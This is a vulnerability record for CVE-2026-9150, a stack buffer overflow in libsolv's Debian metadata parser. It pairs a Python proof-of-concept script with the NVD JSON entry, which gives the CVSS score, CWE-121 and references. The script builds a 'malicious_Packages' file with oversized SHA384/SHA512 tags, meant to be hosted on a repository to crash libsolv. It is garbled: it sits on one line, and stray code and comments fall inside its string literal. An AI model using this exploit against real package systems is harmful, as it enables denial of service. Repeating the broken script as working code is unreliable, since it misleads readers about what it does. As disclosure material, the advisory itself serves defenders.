CVE-2026-9150

import os # Simulate creating a malicious Debian metadata file with oversized checksum tags malicious_metadata = """ Package: fake-package Version: 1.0.0 Filename: pool/main/f/fake-package.deb SHA384: {} + 'A'*500 # Excessive length to trigger overflow SHA512: {} + 'B'*500 # Excessive length to trigger overflow """.format('A'*500, 'B'*500) with open('malicious_Packages', 'w') as f: f.write(malicious_metadata) print("Malicious metadata file generated.") # In a real scenario, this file would be hosted on a repository parsed by libsolv.

{"cve": {"id": "CVE-2026-9150", "sourceIdentifier": "[email protected]", "published": "2026-05-20T23:16:36.010", "lastModified": "2026-05-20T23:16:36.010", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libsolv. This stack-based buffer overflow vulnerability occurs in libsolv's Debian metadata parser when processing specially crafted Debian repository metadata. An attacker could exploit this by providing malicious SHA384 or SHA512 checksum tags, leading to memory corruption and a denial of service (DoS) in the affected system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9150", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460379", "source": "[email protected]"}, {"url": "https://github.com/openSUSE/libsolv/pull/616", "source": "[email protected]"}]}}